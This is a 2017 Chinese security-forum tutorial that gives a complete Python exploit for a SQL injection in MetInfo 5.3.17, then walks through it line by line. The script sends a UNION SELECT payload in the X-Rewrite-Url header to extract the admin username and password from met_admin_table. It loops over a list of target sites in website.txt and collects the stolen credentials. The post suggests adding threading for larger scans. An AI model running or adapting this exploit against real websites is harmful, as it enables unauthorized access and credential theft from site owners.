[原创]Python3学习系列（十四）：编写属于自己的EXP（MetInfo5.3.17注入）-WEB安全-看雪-安全社区|安全招聘|kanxue.com

[原创]Python3学习系列（十四）：编写属于自己的EXP（MetInfo5.3.17注入）

发表于: 2017-11-15 10:18 5114

[原创]Python3学习系列（十四）：编写属于自己的EXP（MetInfo5.3.17注入）

bywalks

2017-11-15 10:18

5114

前言：

Metinfo 5.3.17注入漏洞EXP。

0x01：处理流程

0x02：代码实现

0x03：逐行解析

0x01 处理流程

0x02 代码实现

# -*- coding: utf-8 -*-
'''
Program：MetInfo(米拓) 5.3.17版本注入EXP
Function：判断网站是否存在漏洞，如果存在则爆出账号密码
  
Version：Python3.6
Time：2017/11/13
Author：Walks
个人博客：http://www.bywalks.com
'''
  
import urllib.request
import re
  
  
Postfix = "/index.php?lang=Cn&index=0000"
Url = ""
  
#payload
head_pwd = {}
head_pwd['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0'
head_pwd['x-Rewrite-Url'] = "1/2/404xxx' union select 1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php"
head_user = {}
head_user['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0'
head_user['x-Rewrite-Url'] = "1/2/404xxx' union select 1,2,3,admin_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php"
  
#存储成功的网站和账号密码
Success_List = []
  
  
#检测是否是注入，如果是注入获得账号密码
def Check_Sql(Url):
    #如果是注入获得账号
    try:
        req = urllib.request.Request(Url+Postfix,headers = head_user)
        response = urllib.request.urlopen(req)
    except urllib.request.HTTPError as e:
        error = str(e.read().decode('utf-8'))
        p = re.compile(r'list\-(\w+)\-Cn')
        user = p.findall(error)[0]
        if(user):
            Success_List.append(Url)
            Success_List.append(user)
  
    #如果是注入获得密码
    try:
          
        req = urllib.request.Request(Url+Postfix,headers = head_pwd)
        response = urllib.request.urlopen(req)
    except urllib.request.HTTPError as e:
        error = str(e.read().decode('utf-8'))
        p = re.compile(r'list\-(\w+)\-Cn')
        pwd = p.findall(error)[0]
        if(pwd):
            Success_List.append(pwd)
  
if __name__ == '__main__':
    with open('website.txt','r') as f:
        for each in f:
            print(each+"已检测")
            Url = each.rstrip()
            try:
                Check_Sql(Url)
            except:
                pass
        print(Success_List)

0x03 逐行解析

# -*- coding: utf-8 -*-
'''
Program：MetInfo(米拓) 5.3.17版本注入EXP
Function：判断网站是否存在漏洞，如果存在则爆出账号密码
  
Version：Python3.6
Time：2017/11/13
Author：Walks
个人博客：http://www.bywalks.com
'''
#导入两个需要的库
import urllib.request
import re
  
#每个Url后面的后缀，这是该注入漏洞必须的条件
Postfix = "/index.php?lang=Cn&index=0000"
Url = ""
  
#payload
head_pwd = {}
#User-Agent防反爬虫
head_pwd['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0'
#注入的payload，该句用来获得pwd
head_pwd['x-Rewrite-Url'] = "1/2/404xxx' union select 1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php"
head_user = {}
head_user['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0'
#该句话用来获得user
head_user['x-Rewrite-Url'] = "1/2/404xxx' union select 1,2,3,admin_id,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php"
  
#存储成功的网站和账号密码
Success_List = []
  
  
#检测是否是注入，如果是注入获得账号密码
def Check_Sql(Url):
    #如果是注入获得账号
    try:
        #访问网站
        req = urllib.request.Request(Url+Postfix,headers = head_user)
        response = urllib.request.urlopen(req)
    except urllib.request.HTTPError as e:
        #根据返回值判断是否是注入，e.read()
        error = str(e.read().decode('utf-8'))
        #正则匹配条件
        p = re.compile(r'list\-(\w+)\-Cn')
        user = p.findall(error)[0]
        #如果可以匹配，则是注入，把URL，账号密码加到Success_List列表中
        if(user):
            Success_List.append(Url)
            Success_List.append(user)
  
    #如果是注入获得密码，跟上面一样
    try:
          
        req = urllib.request.Request(Url+Postfix,headers = head_pwd)
        response = urllib.request.urlopen(req)
    except urllib.request.HTTPError as e:
        error = str(e.read().decode('utf-8'))
        p = re.compile(r'list\-(\w+)\-Cn')
        pwd = p.findall(error)[0]
        if(pwd):
            Success_List.append(pwd)
  
if __name__ == '__main__':
    #打开本地website.txt文本，该文本存放可能是注入的网站。
    with open('website.txt','r') as f:
        for each in f:
            #给个回显，不然当要检测的网址过多时，等待时间过久，不清楚是否是程序错误
            print(each+"已检测")
            Url = each.rstrip()
            try:
                Check_Sql(Url)
            except:
                pass
        print(Success_List)

使用的时候，在该py文件下面加一个website.txt文本，存放要检测的网址，还有，当检测网址过多时可能有点慢，稍微等待下就好，有其他需要的也可以自己加个多线程，我就不加了。

成果图：

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

收藏・4

免费

支持

最新回复 (1)
niuzuoquan 雪币： 300 活跃值： (2697) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 521 粉丝 2 关注私信	niuzuoquan 2 楼 mark 2017-12-2 09:00 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复